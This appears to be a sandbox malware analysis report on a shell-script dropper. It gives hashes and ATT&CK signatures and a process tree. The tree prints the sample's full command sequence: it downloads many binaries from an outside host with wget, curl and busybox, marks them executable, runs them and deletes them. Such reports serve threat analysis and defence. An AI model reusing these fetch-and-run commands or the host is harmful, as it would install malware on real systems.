c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/11/2024, 03:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617.sh
Size 10KB
Sample241111-dhbpvsvlbj
SHA256 c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617
MD5 eb85499b0fd4332e95ea7935834dfb32
SHA1 b515f87977dc84e1b2710820eb74899a869e4fd4
SHA512 1e37f55def505a995d4b0adfaf149e3b4da24b6e6d557661ac86e33faa2b3d5cde9f4a305819aa6b76069ad3b059d4c99079c52bf530101e5ca5c819e4fa5d12
SSDEEP 192:QQg3Y1B8HPxWQLY78wXLmQgU1B8HPtg8wXpp:y1WQk78wXLr8wXpp
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 16 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
885	chmod
920	chmod
820	chmod
827	chmod
878	chmod
899	chmod
754	chmod
863	chmod
913	chmod
781	chmod
809	chmod
834	chmod
892	chmod
906	chmod
733	chmod
744	chmod

Executes dropped EXE 16 IoCs

Reads runtime system information 17 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 47 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
817	curl
819	busybox
840	wget
919	busybox
743	busybox
750	busybox
903	curl
916	wget
923	wget
741	curl
831	curl
747	wget
786	wget
895	wget
909	wget
924	curl
713	wget
731	busybox
823	wget
824	curl
830	wget
846	curl
917	curl
793	curl
815	wget
896	curl
902	wget
806	busybox
873	curl
826	busybox
833	busybox
860	busybox
888	wget
889	curl
891	busybox
739	wget
748	curl
910	curl
898	busybox
905	busybox
868	wget
877	busybox
721	curl
759	wget
912	busybox
770	curl
778	busybox

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	curl
File opened for modification	/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	curl
File opened for modification	/tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb	curl
File opened for modification	/tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA	curl
File opened for modification	/tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29	curl
File opened for modification	/tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA	curl
File opened for modification	/tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9	curl
File opened for modification	/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	curl
File opened for modification	/tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk	curl
File opened for modification	/tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS	curl
File opened for modification	/tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1	curl
File opened for modification	/tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i	curl
File opened for modification	/tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ	curl
File opened for modification	/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	curl
File opened for modification	/tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky	curl
File opened for modification	/tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0	curl

/tmp/c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617.sh
/tmp/c6b6492d463e7ac56c92a45320307bc0eebfbd478408da81403b689fb83f8617.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - System Network Configuration Discovery
  PID:713
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - System Network Configuration Discovery
  PID:731
- /bin/chmod
  chmod 777 y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  ./y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - System Network Configuration Discovery
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod 777 m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  ./m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  PID:746
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - System Network Configuration Discovery
  PID:747
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod 777 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  ./3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  PID:758
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - System Network Configuration Discovery
  PID:759
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - System Network Configuration Discovery
  PID:778
- /bin/chmod
  chmod 777 aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  ./aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  PID:785
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - System Network Configuration Discovery
  PID:786
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - System Network Configuration Discovery
  PID:806
- /bin/chmod
  chmod 777 9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  ./9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm 9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
  2⤵
  PID:813
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - System Network Configuration Discovery
  PID:819
- /bin/chmod
  chmod 777 hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  ./hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
  2⤵
  PID:822
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - System Network Configuration Discovery
  PID:823
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - System Network Configuration Discovery
  PID:826
- /bin/chmod
  chmod 777 HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  ./HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - System Network Configuration Discovery
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - System Network Configuration Discovery
  PID:833
- /bin/chmod
  chmod 777 vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  ./vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
  2⤵
  PID:839
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - System Network Configuration Discovery
  PID:840
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - System Network Configuration Discovery
  PID:860
- /bin/chmod
  chmod 777 Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  ./Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
  2⤵
  PID:867
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - System Network Configuration Discovery
  PID:868
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  ./Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
  2⤵
  PID:880
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:884
- /bin/chmod
  chmod 777 id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  ./id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
  2⤵
  PID:887
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - System Network Configuration Discovery
  PID:888
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - System Network Configuration Discovery
  PID:891
- /bin/chmod
  chmod 777 BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  ./BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
  2⤵
  PID:894
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - System Network Configuration Discovery
  PID:895
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - System Network Configuration Discovery
  PID:898
- /bin/chmod
  chmod 777 zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  ./zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
  2⤵
  PID:901
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - System Network Configuration Discovery
  PID:902
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - System Network Configuration Discovery
  PID:905
- /bin/chmod
  chmod 777 NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  ./NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
  2⤵
  PID:908
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - System Network Configuration Discovery
  PID:909
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - System Network Configuration Discovery
  PID:912
- /bin/chmod
  chmod 777 m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  ./m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
  2⤵
  PID:915
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - System Network Configuration Discovery
  PID:916
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/chmod
  chmod 777 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  ./3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm 3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
  2⤵
  PID:922
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk

Path /tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk	734	y2YkGEaTWO7uFrtvxEWjnL9QiSCQrQvCpk
/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	745	m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	755	3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi
/tmp/aUnoPE2QhNzOceFAoAx5oKByergXKxOWky	782	aUnoPE2QhNzOceFAoAx5oKByergXKxOWky
/tmp/9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS	810	9MIGH6KrbgAZR7wAcrrVx1hGCgWWFeVTsS
/tmp/hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb	821	hZeUDf3W4cteY0NF04m2Qvl3nyUlJnabnb
/tmp/HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1	828	HENz8T8KYrMWKq5XPQ7LTWDN3hWn5Og0s1
/tmp/vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9	836	vAOs9idvaop0IN5xjuI2Wmj2mMdCYauCI9
/tmp/Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i	864	Cxu08YhgzKo4685JglHgN1YSTRF60hCA5i
/tmp/Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA	879	Pal5i6Bk5FbVnz0hOy7OuRWJKRG5I0akRA
/tmp/id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0	886	id06YIQztB3vWG21pXNt9QHCcvRvyyXYD0
/tmp/BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29	893	BVGrTj5Z8ajausYTlUD3b7zu2foFEcbm29
/tmp/zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA	900	zGGqZsflIB6Ou1lK2kizqKg5jJEZytcDRA
/tmp/NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ	907	NMvkOgjDoJwbu6UB8e2KDai2JAPqVebjpZ
/tmp/m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl	914	m4SdkbS1PtqX9h7vAxdVh0Kk7BpZcItjMl
/tmp/3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi	921	3EdOjQg7Q8NTufhoZtALMdm0sQenfQbCVi